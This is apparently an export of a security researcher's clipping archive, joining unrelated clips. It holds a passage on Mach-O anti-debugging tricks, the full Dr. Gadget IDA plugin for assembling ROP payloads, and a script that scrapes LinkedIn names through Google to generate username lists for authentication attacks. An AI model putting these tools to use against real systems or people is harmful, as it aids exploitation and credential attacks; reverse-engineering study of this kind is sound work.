worry, **evilness takes practice** <img src='img/Temp2_850.gif' alt=':-)' />

What happens if you put the string somewhere else and change the offset to
point there? GDB crashes, otool can’t recognize the offset and so on.

Otool:

[code]

    Load command 20
              cmd LC_LOAD_DYLIB
          cmdsize 88
             name ?(bad offset 28548)
       time stamp 2 Thu Jan  1 01:00:02 1970
          current version 30.0.0
    compatibility version 1.0.0
[/code]

GDB:

[code]

    GNU gdb 6.3.50-20050815 (Apple version gdb-1344 + reverse.put.as patches v0.3) (Mon Aug 22 00:31:56 UTC 2011)
    Copyright 2004 Free Software Foundation, Inc.
    GDB is free software, covered by the GNU General Public License, and you are
    welcome to change it and/or distribute copies of it under certain conditions.
    Type "show copying" to see the conditions.
    There is absolutely no warranty for GDB.  Type "show warranty" for details.
    This GDB was configured as "x86_64-apple-darwin"...gdb-i386-apple-darwin(68831) malloc: *** mmap(size=18446744073709506560) failed (error code=12)
    *** error: can't allocate region
    *** set a breakpoint in malloc_error_break to debug
[/code]

Fun stuff, right ? <img src='img/Temp2_850.gif' alt=':-)' />  
The problem with the debugger attach is that I assumed gdb would also crash if
attached and forgot to try if it was true. It is a minor problem – the crackme
is designed to resist a debugger attach.

The next trick is even more fun but requires some time to write the post. I
didn’t took all the notes and I need to “rediscover” it to show you where the
problem is.

Enjoy,  
fG\!

# Clip: http://www.openrce.org/repositories/users/dennis/drgadget0.3.py

**Created:**| _7/15/2011 2:48:04 PM_  
---|---  
**Updated:**| _7/15/2011 2:48:04 PM_  
**Author:**| __  
**Tags:**| _python iDA programming rop_  
  

[code]

    #################################################
    #
    #   Dr. Gadget
    #   ----------------------------------------
    #   author:     Dennis Elser
    #   bugs:       de dot backtrace at dennis
    version      =  "0.3"
    #
    #   history:
    #   07/24/2010  v0.1   - first public release
    #   07/26/2010  v0.1.1 - added copy/cut/paste
    #   07/31/2010  v0.2   - with kind permission,
    #                        added Elias Bachaalany's
    #                        script to find opcodes/instructions
    #   08/25/2010  v0.3  -  added ARM support
    #                        primitive stack/pc tracing for ARM
    #                        Disassembly view export to file
    #                        string reference scanning in disasm view
    #                        add support for comments both in rop view and disasm view in sync
    #                        sync offset number diplay between ropview and disasm
    #                        by Karthik (neox.fx at gmail dot com)
    #
    #   known bugs:
    #   - disassembly view is not always refreshed
    #     correctly
    #
    ##################################################
    
    # have a look at http://hexblog.com/2009/09/assembling_and_finding_instruc.html
    # in order to learn how to use the instruction finder
    
    """
    TODOs:
    - show DEP/ASLR status?
    - implement Auto analysis II?
    - symbol tracing for values?
    - fix popup menu logic/handler
    - clean up ;-)
    """
    
    import idaapi, idc
    from idaapi import simplecustviewer_t
    import struct, os
    
    
    pluginname = "Dr.  Gadget " + version
    
    
    isArm = False;
    
    # -----------------------------------------------------------------------
    
    class Gadget:
        
        def __init__ (self):
            global isArm
            if (isArm):
                self.controlFlowChangers = ["PC}"]
            else:
                self.controlFlowChangers = ["ret", "retn"]
            self.maxInsCnt = 15
    
    
        def make_func (self, ea):
            """
            creates a function starting at address ea
            any existing functions/code will be undefined at this address
            """
            funcEA = idaapi.get_func (ea)
            if funcEA:
                DelFunction (funcEA.startEA)
            # FIXME
    
            if (isArm):
                ea = ea & -2  # make sure it is aligned
                MakeUnknown (ea, self.maxInsCnt, idc.DOUNK_EXPAND)
                for i in range (ea, ea+self.maxInsCnt):
                    idc.SetReg(i, "T", 1) # set thumb mode
                AnalyzeArea (ea, ea+self.maxInsCnt)
                return MakeCode (ea)
            else:
                MakeUnknown (ea, 100, idc.DOUNK_EXPAND)
                AnalyzeArea (ea, ea+100)
                MakeCode (ea)
                return MakeFunction (ea, BADADDR)
    
    
    
        def get_disasm (self, ea):
            if (isArm):
                ea = ea & -2  # make sure it is aligned
            next = ea
            gadget = []
            endEA = BADADDR
            inscnt = 0
            # FIXME: stop disassembling at f.endEA ?
            while (next != endEA) and (inscnt < self.maxInsCnt):
                line = GetDisasm (next)        
                gadget.append (line)
                for mnem in self.controlFlowChangers:
                    if mnem in line:
                        return gadget
                inscnt += 1
                next = NextHead (next, endEA)
            return gadget
    
    # -----------------------------------------------------------------------
    
    class PayloadHelper:
    
        def __init__ (self):
            self.items = []
            self.comment = []
            self.size = 0
            self.rawbuf = ""
    
            
        def load_from_file (self, fileName):
            self.__init__()
            result = False
            f = None
            try:
                f = open (fileName, "rb")
                self.rawbuf = f.read ()
                self.size = len(self.rawbuf)
                self.items = self.get_items_from_buf (self.rawbuf)
                for x in xrange (len(self.items)):
                    self.comment.append ("")
                result = True
            except:
                pass
            finally:
                if f:
                    f.close ()
            return result
    
    
        def save_to_file (self, fileName):
            result = False
            f = None
            try:
                f = open (fileName, "wb")
                buf = self.get_buf_from_items ()
                f.write (buf)
                result = True
            except:
                pass
            finally:
                if f:
                    f.close ()
            return result
    
    
        def get_buf_from_items (self):
            buf = ""
            for val in self.items:
                buf += struct.pack ("<I", val[0])
            return buf
        
    
        def get_items_from_buf (self, buf):
            itemlist = []
            for p in xrange (0, len (buf), 4):
                try:
                    val = struct.unpack ("<I", buf[p:p+4])[0]
                except:
                    break
                itemlist.append ([val, 0])
            return itemlist
    
    
        def get_number_of_items (self):
            return len (self.items)
    
    
        def get_item (self, n):
            return self.items[n]
    
    
        def insert_item (self, n, v):
            self.items.insert (n, [v, 0])
            self.comment.insert (n, "")
    
    
        def append_item (self, v):
            self.items.insert (len (self.items), [v, 1])
            self.comment.insert (len (self.comment), "")
    
    
        def remove_item (self, n):
            self.items.pop (n)
            self.comment.pop (n)
    
            
        def get_value (self, n):
            return self.items[n][0]
    
    
        def set_value (self, n, v):
            self.items[n][0] = v
    
    
        def get_type (self, n):
            return self.items[n][1]
    
    
        def set_type (self, n, v):
            self.items[n][1] = v
    
    
        def analyze (self):
            for n in xrange (self.get_number_of_items ()):
                ea = self.get_value (n)
                if SegStart (ea) != BADADDR:
                    typ = 1
                    g = Gadget ()
                    if not g.make_func (ea):
                        print "%08X: failed" % ea
                else:
                    typ = 0
                self.set_type (n, typ)
    
    
        def traceArmPC (self):
            nl = self.get_number_of_items ()
            n = 0
            lasttype1 = 0
            gap = False
            while n < nl:
                r2 = 1
                ea = self.get_value (n)
                if SegStart (ea) != BADADDR:
                    typ = 1
                    g = Gadget ()
                    if not g.make_func (ea):
                        print "%08X: failed" % ea
                    asm = g.get_disasm(ea)
                    if (asm[-1].startswith("POP") and asm[-1].endswith(",PC}")):
                        l = asm[-1]
                        rt = (l.split('{'))[1]
                        rtc = rt.split(',')
                        if len(rtc) == 2 and rtc[0].find('-') > 0:
                            rtch = rtc[0].split('-')
                            t = int(rtch[1][1]) - int(rtch[0][1]) + 1
                        else:
                            t = len(rtc)-1
                        if ((n+t) < nl):
                            r2 = t
                        else:
                            r2 = nl-n-1
                        for i in xrange (r2):
                            self.set_type (n+i+1, 0)
                        r2 = r2 + 1
                        if lasttype1:
                            if (n-lasttype1)>15:
                                print "too much ROP gap before EA, probably not a Gadget: %x" % ea
                                typ = 0
                                gap = True
                            elif gap:
                                print "new ROP sequence start at EA: %x?" % ea
                                gap = False
                                self.set_type(lasttype1, 1)
                            lasttype1 = n
                    else:
                        print "unexpected end EA, probably not a Gadget: %x" % ea
                        typ = 0
                else:
                    typ = 0
                self.set_type (n, typ)
                if typ:
                    lasttype1 = n
                n = n + r2
    
    
        def reset_type (self):
            for n in xrange (self.get_number_of_items ()):
                self.set_type (n, 0)
    
    
        def get_colored_line (self, n):
            # todo
            typ = self.get_type (n)
            cline = idaapi.COLSTR("%03X  " % (n*4), idaapi.SCOLOR_AUTOCMT)
            val = self.get_value (n)
            elem = "%08X" % val
            if typ:
                elem = idaapi.COLSTR(elem, idaapi.SCOLOR_CODNAME)
            else:
                elem = idaapi.COLSTR(elem, idaapi.SCOLOR_DNUM)
            cline += elem
            comm = ""
            if SegStart (val) != BADADDR:
                # TODO: add DEP/ASLR status?
                comm = "  ; %s %s" % (SegName (val), self.comment[n])
            elif self.comment[n] != "":
                comm = "  ; %s" % self.comment[n]
            cline += idaapi.COLSTR (comm, idaapi.SCOLOR_AUTOCMT)
            return cline
    
    
        def get_colored_lines (self):
            lines = []
            for i in xrange (self.get_number_of_items ()):
                l = self.get_colored_line (i)
                lines.append (l)
            return lines
    
    
    
    # -----------------------------------------------------------------------   
    
    # TODO: remove load- and save payload dialogs from context menu
    # and move to IDA's File menu?
    class ropviewer_t (simplecustviewer_t):
    
      
        def Create (self):
            global ph
            
            # FIXME: ugly
            self.menu_loadfromfile  = None
            self.menu_savetofile    = None
            self.menu_copyitem      = None
            self.menu_cutitem       = None
            self.menu_pasteitem     = None
            self.menu_insertitem    = None
            self.menu_jumpto        = None
            self.menu_toggle        = None
            self.menu_deleteitem    = None
            self.menu_edititem      = None
            self.menu_reset         = None
            self.menu_autorec       = None
            self.menu_autorec2      = None
            self.menu_disasm        = None
            self.menu_findinsn      = None
    
            self.item_clipboard     = None
            
            if not simplecustviewer_t.Create (self, pluginname + " - payload"):
                return False
            if ph:
                self.refresh ()
            else:
                self.ClearLines ()
            return True
    
    
        def copy_item (self):
            global ph
            if ph.get_number_of_items ():
                n = self.GetLineNo ()
                self.item_clipboard = (n, "c", ph.get_item (n))
    
    
        def paste_item (self):
            global ph
            if self.item_clipboard and ph.get_number_of_items ():
                n = self.GetLineNo ()
                _n, mode, item = self.item_clipboard
                ph.insert_item (n, item[0])
                ph.set_type (n, item[1])
                self.refresh ()
                if mode == 'x':
                    self.item_clipboard = None
    
    
        def cut_item (self):
            global ph
            if ph.get_number_of_items ():
                n = self.GetLineNo ()
                self.item_clipboard = (n, "x", ph.get_item (n))
                self.delete_item (False)
    
    
        def insert_item (self):
            global ph
            n = self.GetLineNo () if self.Count () else 0
            ph.insert_item (n, 0)
            self.refresh ()
    
    
        def edit_item (self):
            global ph
            if ph.get_number_of_items ():
                n = self.GetLineNo ()
                val = ph.get_value (n)
                newVal = AskAddr (val, "Enter new value")
                if newVal:
                    ph.set_value (n, newVal)
                    self.refresh ()
    
    
        def delete_item (self, ask = True):
            global ph
            if ph.get_number_of_items ():
                result = 1
                if ask:
                    result = AskYN (0, "Delete item?")
                if result == 1:
                    ph.remove_item (self.GetLineNo ())
                    self.refresh ()
    
    
        def addcomment (self, n):
            global ph
            if n < ph.get_number_of_items ():
                s = AskStr (ph.comment[n], "Enter Comment")
                if s:
                    ph.comment[n] = s
                self.refresh ()
    
                   
        def toggle_item (self):
            global ph
            if ph.get_number_of_items ():
                n = self.GetLineNo ()
    
                if ph.get_type (n):
                    ph.set_type (n, 0)
                else:
                    ea = ph.get_value (n)
                    ph.set_type (n, 1)
                    g = Gadget ()
                    g.make_func (ea)
    
                l = ph.get_colored_line (n)
                self.EditLine (n, l)
                self.RefreshCurrent ()        
    
    
        def refresh (self):
            global ph
            self.ClearLines ()
            for line in ph.get_colored_lines ():
                self.AddLine (line)
            self.Refresh ()
    
    
        def OnDblClick (self, shift):
            global ph
            n = self.GetLineNo ()
            Jump (ph.get_value (n))
            return True
    
    
        def OnKeydown (self, vkey, shift):
            global ph
            # escape
            if vkey == 27:
                self.Close ()
    
            # enter
            elif vkey == 13:
                n = self.GetLineNo ()
                Jump (ph.get_value (n))
                
            # always put multiple key conditions first
            elif shift == 4 and vkey == ord ("C"):
                self.copy_item ()
    
            elif shift == 4 and vkey == ord ("X"):
                self.cut_item ()
    
            elif shift == 4 and vkey == ord ("V"):
                self.paste_item()
    
            elif shift == 4 and vkey == ord ("F"):
                s = AskStr ("", "Find instruction(s)")
                if s:
                    find (s, False)
    
            elif vkey == ord ('O'):
                self.toggle_item ()
                
            elif vkey == ord ('D'):
                self.delete_item ()
                    
            elif vkey == ord ("E"):
                self.edit_item ()
    
            elif vkey == ord ("I"):
                self.insert_item ()
    
            elif vkey == ord ("R"):
                self.refresh ()
    
            elif vkey == ord ("C"):
                self.addcomment (self.GetLineNo ())
    
            else:
                return False
            
            return True
    
    
        def OnHint (self, lineno):
            global ph
            if not ph.get_type (lineno):
                return None
            
            ea = ph.get_value (lineno)
            g = Gadget ()
            dis = g.get_disasm (ea)
            hint = ""
            for l in dis:
                hint += idaapi.COLSTR ("%s\n" % l, idaapi.SCOLOR_CODNAME)
                
            return (len (dis), hint)
    
    
        def OnPopup (self):
            global ph
            global isArm
            self.ClearPopupMenu ()
    
            # FIXME: ugly
            if not self.Count ():
                self.menu_loadfromfile = self.AddPopupMenu ("Load payload")
                self.AddPopupMenu ("-")
                self.menu_findinsn = self.AddPopupMenu ("Find instruction(s)")
                self.menu_insertitem = self.AddPopupMenu ("Insert item")
            
            else:
                self.menu_loadfromfile = self.AddPopupMenu ("Load payload")
                self.menu_savetofile = self.AddPopupMenu ("Save payload")
                self.AddPopupMenu ("-")
                self.menu_jumpto = self.AddPopupMenu ("Jump to item address")
                self.menu_toggle = self.AddPopupMenu ("Toggle item type")
                self.menu_edititem = self.AddPopupMenu ("Edit item value")
                self.AddPopupMenu ("-")
                self.menu_findinsn = self.AddPopupMenu ("Find instruction(s)")
                self.menu_insertitem = self.AddPopupMenu ("Insert item")
                self.menu_deleteitem = self.AddPopupMenu ("Delete item")
                self.menu_cutitem = self.AddPopupMenu ("Cut item")
                self.menu_copyitem = self.AddPopupMenu ("Copy item")
                self.menu_pasteitem = self.AddPopupMenu ("Paste item")
                self.AddPopupMenu ("-")        
                self.menu_autorec = self.AddPopupMenu ("Auto analysis I")
                self.menu_autorec2 = self.AddPopupMenu ("Auto analysis II")
                if isArm:
                    self.menu_armPCtrace = self.AddPopupMenu ("ARM PC trace")
                self.menu_reset  = self.AddPopupMenu ("Reset")
                self.AddPopupMenu ("-")
                self.menu_disasm  = self.AddPopupMenu ("Show disassembly")
                
            return True
    
    
        def OnPopupMenu (self, menu_id):
            global ph
            global isArm
            if menu_id == self.menu_loadfromfile:
                fileName = idc.AskFile (0, "*.*", "Import ROP binary")
                if fileName and ph.load_from_file (fileName):
                    self.refresh ()
    
            elif menu_id == self.menu_savetofile:
                fileName = idc.AskFile (1, "*.*", "Export ROP binary")
                if fileName and ph.save_to_file (fileName):
                    print "payload saved to %s" % fileName
    
                            
            elif menu_id == self.menu_jumpto:
                n = self.GetLineNo ()
                Jump (ph.get_value (n))
    
                
            elif menu_id == self.menu_autorec:
                ph.analyze ()
                self.refresh ()
    
                    
            elif menu_id == self.menu_autorec2:
                # TODO: add stack-pointer dependent analysis algorithm for x86 :D
                Warning ("Not implemented yet")
    
    
            elif isArm and menu_id == self.menu_armPCtrace:
                ph.traceArmPC ()
                self.refresh ()
    
                
            elif menu_id == self.menu_reset:
                if idc.AskYN (1, "Are you sure?") == 1:
                    ph.reset_type ()
                    self.refresh ()
    
    
            elif menu_id == self.menu_disasm:
                try:
                    self.disasm
                    self.disasm.refresh ()
                    self.disasm.Show ()
                    
                except:
                    self.disasm = disasmviewer_t ()
                    if self.disasm.Create ():
                        self.disasm.Show ()
                    else:
                        del self.disasm
                   
                        
            elif menu_id == self.menu_toggle:
                self.toggle_item ()
    
            elif menu_id == self.menu_deleteitem:
                self.delete_item ()
    
            elif menu_id == self.menu_insertitem:
                self.insert_item ()
    
            elif menu_id == self.menu_edititem:
                self.edit_item ()
    
            elif menu_id == self.menu_copyitem:
                self.copy_item ()
    
            elif menu_id == self.menu_cutitem:
                self.cut_item ()
    
            elif menu_id == self.menu_pasteitem:
                self.paste_item ()
    
            elif menu_id == self.menu_findinsn:
                s = AskStr ("", "Find instruction(s)")
                if s:
                    find (s, False)            
                
            else:
                return False
            
            return True
    
    # -----------------------------------------------------------------------
    
    class disasmviewer_t (simplecustviewer_t):
        
        def Create (self):
            if not simplecustviewer_t.Create (self, pluginname + " - disassembly"):
                return False
    
            self.showData   = True
            self.showRet    = True
            self.popStrings = False
            self.strBase    = 0
    
            self.code = []
            self.codetext = []
            self.disasmToRopviewerLine = {}
    
            self.refresh ()
            return True
    
    
        def refresh (self):
            global ph
            self.ClearLines ()
            self.codetext = []
            self.code = []
            self.disasmToRopviewerLine = {}
            lnmapper = 0
            for n in xrange (ph.get_number_of_items ()):
                self.disasmToRopviewerLine[lnmapper] = n
                cln = idaapi.COLSTR("%04X " % (n*4), idaapi.SCOLOR_AUTOCMT)
                comm = ""
                if ph.comment[n] != "":
                    comm = "  ; %s" % ph.comment[n]
                c_comm = idaapi.COLSTR (comm, idaapi.SCOLOR_AUTOCMT)
    
                if ph.get_type (n):
                    g = Gadget ()
                    disasm = g.get_disasm (ph.get_value (n))
                    dtog = False
                    for line in disasm:
                        if line.startswith ("ret") and not self.showRet:
                            continue
                        if not dtog:  # add comment only once in a multiline instr seq
                            self.code.append ("  \t " + idaapi.COLSTR (line, idaapi.SCOLOR_CODNAME) + c_comm)
                            self.codetext.append ("  \t " + line + comm + "\n")
                            dtog = True
                        else:
                            self.code.append ("  \t " + idaapi.COLSTR (line, idaapi.SCOLOR_CODNAME))
                            self.codetext.append ("  \t " + line + "\n")
                            lnmapper = lnmapper + 1
                            self.disasmToRopviewerLine[lnmapper] = n
                        
                elif self.showData:
                    val = ph.get_value (n)
                    if not self.popStrings:
                        self.code.append (cln + idaapi.COLSTR ("    %08Xh" % val, idaapi.SCOLOR_DNUM) + c_comm)
                        self.codetext.append (("%04X    %08Xh%s" % (n*4, val, comm)) + "\n")
                    else:
                        if (val > self.strBase) and ((val-self.strBase) < ph.size):
                            off = val - self.strBase
                            ch1 = ord(ph.rawbuf[off:off+1])
                            if (ch1 >= 0x20 and ch1 < 0x7f):
                                eos = ph.rawbuf[off:].find(chr(0))
                                trailer = ""
                                if eos > 0:
                                    if (eos > 50):
                                        eos = 50
                                        trailer = "..."
                                    strtext = "    --> \"%s\"" % ph.rawbuf[off:off+eos] + trailer
                                else:
                                    strtext = ""
                            else:
                                strtext = ""
                            self.code.append (cln + idaapi.COLSTR ("    %08Xh" % val, idaapi.SCOLOR_DNUM) + idaapi.COLSTR ("%s" % strtext, idaapi.SCOLOR_STRING) + c_comm)
                            self.codetext.append (("%04X    %08Xh%s%s" % (n*4, val, strtext, comm)) + "\n")
                        else:
                            self.code.append (cln + idaapi.COLSTR ("    %08Xh" % val, idaapi.SCOLOR_DNUM) + c_comm)
                            self.codetext.append (("%04X    %08Xh%s" % (n*4, val, comm)) + "\n")
                lnmapper = lnmapper + 1
    
            for l in self.code:
                self.AddLine (l)            
            self.Refresh ()
    
    
        def save_to_file (self, filename):
            result = False
            f = None
            try:
                f = open (filename, "w+")
                for l in self.codetext:
                    f.write (l)
                result = True
            except Exception, err:
                print "[!] An error occurred:", err
            finally:
                if f:
                    f.close ()
            return result
    
    
        def addcomment (self, n):
            global ph
            global rv
            nlo = self.disasmToRopviewerLine[n]
            if nlo < ph.get_number_of_items ():
                s = AskStr (ph.comment[nlo], "Enter Comment")
                if s:
                    ph.comment[nlo] = s
                self.refresh ()
                rv.refresh ()
    
    
        def get_switch_setting (self, var):
            return "\7\t" if var else " \t"
            
    
        def OnKeydown (self, vkey, shift):
            global ph
    
            if vkey == ord ("C"):
                self.addcomment (self.GetLineNo ())
                self.Refresh ()         
    
            elif vkey == ord ("R"):
                self.refresh ()
    
            else:
                return False
            
            return True
    
    
        def OnPopup (self):
            self.ClearPopupMenu ()
            self.menu_toggledata = self.AddPopupMenu (self.get_switch_setting (self.showData) + "Show data lines") 
            if not isArm:
                self.menu_toggleret = self.AddPopupMenu (self.get_switch_setting (self.showRet) + "Show return instructions")
            else:
                self.menu_toggleret = None
            self.menu_populatestrings = self.AddPopupMenu (self.get_switch_setting (self.popStrings) + "Show strings referenced")
            self.menu_savetofile = self.AddPopupMenu ("Save Disasembly")
            return True
    
    
        def OnPopupMenu (self, menu_id):
            if menu_id == self.menu_toggledata:
                self.showData = not self.showData
                self.refresh ()
                
            elif menu_id == self.menu_toggleret:
                self.showRet = not self.showRet
                self.refresh ()
    
            elif menu_id == self.menu_populatestrings:
                self.popStrings = not self.popStrings
                if self.popStrings:
                    self.strBase = idc.AskLong(self.strBase, "Base displacement to use?")
                self.refresh ()
    
            elif menu_id == self.menu_savetofile:
                fileName = idc.AskFile (1, "*.*", "Export ROP Disasembly view")
                if fileName and self.save_to_file (fileName):
                    print "disasm saved to %s" % fileName
                
            else:
                return False
            
            return True
    
    # the following code is taken from
    # http://hexblog.com/2009/09/assembling_and_finding_instruc.html
    # -----------------------------------------------------------------------
    def FindInstructions(instr, asm_where=None):
        """
        Finds instructions/opcodes
        @return: Returns a tuple(True, [ ea, ... ]) or a tuple(False, "error message")
        """
        if not asm_where:
            # get first segment
            asm_where = FirstSeg()
            if asm_where == idaapi.BADADDR:
                return (False, "No segments defined")
    
        # regular expression to distinguish between opcodes and instructions
        re_opcode = re.compile('^[0-9a-f]{2} *', re.I)
    
        # split lines
        lines = instr.split(";")
    
        # all the assembled buffers (for each instruction)
        bufs = []
        for line in lines:
            if re_opcode.match(line):
                # convert from hex string to a character list then join the list to form one string
                buf = ''.join([chr(int(x, 16)) for x in line.split()])
            else:
                # assemble the instruction
                ret, buf = Assemble(asm_where, line)
                if not ret:
                    return (False, "Failed to assemble:"+line)
            # add the assembled buffer
            bufs.append(buf)
    
        # join the buffer into one string
        buf = ''.join(bufs)
        
        # take total assembled instructions length
        tlen = len(buf)
    
        # convert from binary string to space separated hex string
        bin_str = ' '.join(["%02X" % ord(x) for x in buf])
    
        # find all binary strings
        print "Searching for: [%s]" % bin_str
        ea = MinEA()
        ret = []
        while True:
            ea = FindBinary(ea, SEARCH_DOWN, bin_str)
            if ea == idaapi.BADADDR:
                break
            ret.append(ea)
            Message(".")
            ea += tlen
        if not ret:
            return (False, "Could not match [%s]" % bin_str)
        Message("\n")
        return (True, ret)
    
    # -----------------------------------------------------------------------
    # Chooser class
    class SearchResultChoose(Choose2):
        def __init__(self, list, title):
            self.list = list
            Choose2.__init__(self, \
                             title, \
                             [["address", 10 | Choose2.CHCOL_PLAIN], \
                              ["segment", 10 | Choose2.CHCOL_PLAIN], \
                              ["code", 30 | Choose2.CHCOL_PLAIN]], \
                             popup_names = ["Insert", "Delete", "Edit", "Append to payload"])
    
        def OnRefresh(self, n):
            global ph
            global rv
            print "appending %08X to payload" % self.list[n-1].ea
            ph.append_item (self.list[n-1].ea)
            rv.refresh ()
            return len(self.list)
    
        def OnClose (self):
            pass
    
        def OnGetLine (self, n):
            return self.list[n-1].columns
    
        def OnGetSize (self):
            return len (self.list)
    
        def OnSelectLine(self, n):
            Jump (self.list[n-1].ea)
        
    
    # -----------------------------------------------------------------------
    # class to represent the results
    class SearchResult:
        def __init__(self, ea):
            self.ea = ea
            self.columns = []
            if not isCode(GetFlags(ea)):
                MakeCode(ea)
            t = idaapi.generate_disasm_line(ea)
            if t:
                line = idaapi.tag_remove(t)
            else:
                line = ""
            self.columns.append ("%08X" % ea)
            n = SegName(ea)
            self.columns.append (n)
            self.columns.append (line)
    
    # -----------------------------------------------------------------------
    def find(s=None, x=False, asm_where=None):
        b, ret = FindInstructions(s, asm_where)
        if b:
            # executable segs only?
            if x:
                results = []
                for ea in ret:
                    seg = idaapi.getseg(ea)
                    if (not seg) or (seg.perm & idaapi.SEGPERM_EXEC) == 0:
                        continue
                    results.append(SearchResult(ea))
            else:
                results = [SearchResult(ea) for ea in ret]
            title = "Search result for: [%s]" % s
            idaapi.close_chooser(title)
            c = SearchResultChoose(results, title)
            c.Show()
        else:
            print ret
    
    # -----------------------------------------------------------------------
    def get_processor_name():
        inf = idaapi.get_inf_structure()
        eos = inf.procName.find(chr(0))
        if eos > 0:
            return inf.procName[:eos]
        else:
            return inf.procName
    
    
    # -----------------------------------------------------------------------
    
    ph = None
    rv = None
    
    class dgplugin_t (idaapi.plugin_t):
        flags = 0
        comment = ""
        help = ""
        wanted_name = pluginname
        wanted_hotkey = "Alt-F5"
    
        def init (self):
            global rv
            rv = None
            return idaapi.PLUGIN_OK
    
    
        def run (self, arg):
            global ph
            global rv
            global isArm
            if (get_processor_name() == 'ARM'):
                isArm = True
            if not ph:
                ph = PayloadHelper ()
            if not rv:
                rv = ropviewer_t ()
                if not rv.Create ():
                    print "could not create window."
                    return
            rv.Show ()
                
        def term (self):
            pass
    
    # -----------------------------------------------------------------------
    
    def PLUGIN_ENTRY ():
        return dgplugin_t ()      
    
    
    
    
    
[/code]

# always-debugged :: never-unpacked.net

**Created:**| _4/2/2013 8:39:10 AM_  
---|---  
**Updated:**| _4/2/2013 8:39:10 AM_  
**Author:**| __  
**Tags:**| _Debugging_  
  

# always-debugged :: never-unpacked.net

<img src='img/Temp2_10084.png' />

<img src='img/Temp2_10083.png' />

# pdp's usernameGen

**Created:**| _6/18/2009 10:44:33 PM_  
---|---  
**Updated:**| _6/18/2009 10:45:04 PM_  
**Author:**| __  
**Tags:**| _Metadata Exploit authentication bypass_  
  

[code]

    #!/usr/bin/env python
    #
    #    Google
    #    Copyright (C) 2005-2007  Petko D. Petkov (GNUCITIZEN)
    #
    #    This program is free software; you can redistribute it and/or modify
    #    it under the terms of the GNU General Public License as published by
    #    the Free Software Foundation; either version 2 of the License, or
    #    (at your option) any later version.
    #
    #    This program is distributed in the hope that it will be useful,
    #    but WITHOUT ANY WARRANTY; without even the implied warranty of
    #    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    #    GNU General Public License for more details.
    #
    #    You should have received a copy of the GNU General Public License
    #    along with this program; if not, write to the Free Software
    #    Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
    
    __version__ = '2.0'
    __author__ = 'Petko D. Petkov; pdp (architect)'
    
    __doc__ = """
    Originally google.py 
    Google (GNUCITIZEN) http://www.gnucitizen.org
    
     by Petko D. Petkov; pdp (arhictect)
    for Python 2.5
    
    Name changed to usernameGen.py and modified
    by Jason Wood
    http://www.jwnetworkconsulting.com
    
    Changes:
    URL was changed to use mobile search
    Regex was tweaked so it would work again
    Limited the response to only the title
    of each result.
    Added a new class and method which:
     -  takes the results of the title for the result and extracts the persons first and last name
     -  then makes usernames with the first initial & last name and first name & last initial
    
    """
    
    import re
    import urllib
    import urllib2
    import logging
    
    class Get(object):
            """
            Get
    
            The power of python in a single object
            """
    
            def __init__(self):
                    self.user_agent = 'User-Agent: Mozilla/5.0 ' \
                            + '(Windows; U; Windows NT 5.1; en-GB; rv:1.8.1.4) ' \
                            + 'Gecko/20070515 Firefox/2.0.0.4'
    
            def get(self, url):
                    """
                    get(url) -> Response
    
                    Open given url and return response.
                    """
    
                    try:
                            request = urllib2.Request(url)
                            request.add_header('User-Agent', self.user_agent)
    
                            logging.debug('Get.get - getting url ' + url)
    
                            result = urllib2.urlopen(request)
    
                    except: raise RuntimeError('unable to open url')
    
                    return result
    
    
    class Search(Get):
            """
            Search
    
            The power of Google in a single object
            """
    
            def search(self, q, start = 0, num = 10):
                    """
                    search(q, start = 0, num = 10) -> generator
    
                    Do google web search.
                    """
    
                    url = 'http://www.google.com/m/search?'
                    query = urllib.urlencode({'q':q, 'start':start, 'num':num})
    
                    result = self.get(url + query)
                    content = result.read()
    
                    tokens = re.findall(
                            '<div\s+class="[a|b]"><a\s+href="(.*?)"\s*>(.*?)</a>', content)
    
                    results = []
    
                    for token in tokens:
                            title = token[1]
    
                            logging.debug('Search.search - found url ' + url)
    
                            results.append((title))
    
                    return results
    
    class Crawl(Search):
            """
            Crawl
    
            The power of Google in a single object
            """
    
            def crawl(self, q, depth = 0):
                    """
                    crawl(q, depth = 0) -> generator
    
                    Do google web crawl.
                    """
    
                    index = 1
                    last_results = None
    
                    while True:
                            if index == 1:
                                    start = 0
    
                            else:
                                    start = (index - 1) * 10
    
                            try:
                                    results = self.search(q, start, 10)
    
                            except: continue
    
                            if not results:
                                    break
    
                            if last_results == results:
                                    break
    
                            last_results = results
    
                            yield results
    
                            if index == depth:
                                    break
    
                            index = index + 1
    
    
    class MungeUsernames(Crawl):
            """
            Create usernames out of the search results
            """
    
            def mungeusers(self, searchterms):
                    """
                    set everything to lower case to start
                    """
    
                    names_raw = searchterms.lower()
    
                    """
                    remove " - linkedin" from each row that has it
                    then remove ": directory" from every row that has it
                    assign the leftover values to the name variable
                    """
    
                    matcher = re.match( r'(.*) - linkedin', names_raw, re.M|re.I)
    
                    name = ""
    
                    if matcher:
                            match_directory = re.match( r'(.*): directory', matcher.group(1), re.M|re.I)
                            if  match_directory:
                                    name = match_directory.group(1)
                            else:
                                    name = matcher.group(1)
    
                    """
                    Break the name up into first and last names.
                    create the username variations with the first initial, last name
                    and first name, last initial
                    """
    
                    if name != "":
                            full_name = name.split(" ")
    
                            if len(full_name) == 2:
                                    fname = full_name[0]
                                    lname = full_name[1]
                                    uname = fname[0] + lname
                                    print uname
                                    uname = fname + lname[0]
                                    print uname
                            elif len(full_name) == 3:
                                    fname = full_name[0]
                                    lname = full_name[2]
                                    uname = fname[0] + lname
                                    print uname
                                    uname = fname + lname[0]
                                    print uname
                            
    
    if __name__ == '__main__':
            import os
            import sys
            import time
    
            import signal
            signal.signal(signal.SIGINT, lambda signum, frame: sys.exit())
    
            if len(sys.argv) < 3:
                    print 'usage:', os.path.basename(sys.argv[0]), 'query #-of-results-pages'
    
                    sys.exit()
    
            logging.basicConfig()
    
            g = Crawl()
    
            u = MungeUsernames()
    
            search_term = "site:linkedin.com "
    
            search_term += ' '.join(sys.argv[1:])
    
            for result in g.crawl(search_term, int(sys.argv[2])):
                    for entry in result:
                            u.mungeusers(entry)
    
                    time.sleep(1)
    
    
    
[/code]

# Eli Bendersky's website » Blog Archive » the answer for parsing C ?

**Created:**| _9/8/2011 11:46:05 PM_  
---|---  
**Updated:**| _9/8/2011 11:46:05 PM_  
**Author:**| __  
**Tags:**| _C programming parser_  
  

## the answer for parsing C ?

November 15th, 2007 at 6:18 am

I’ve been looking for a good, open source code to parse C for a long time.
Many people recommend the LCC “regargetable compiler”. Indeed, it is open
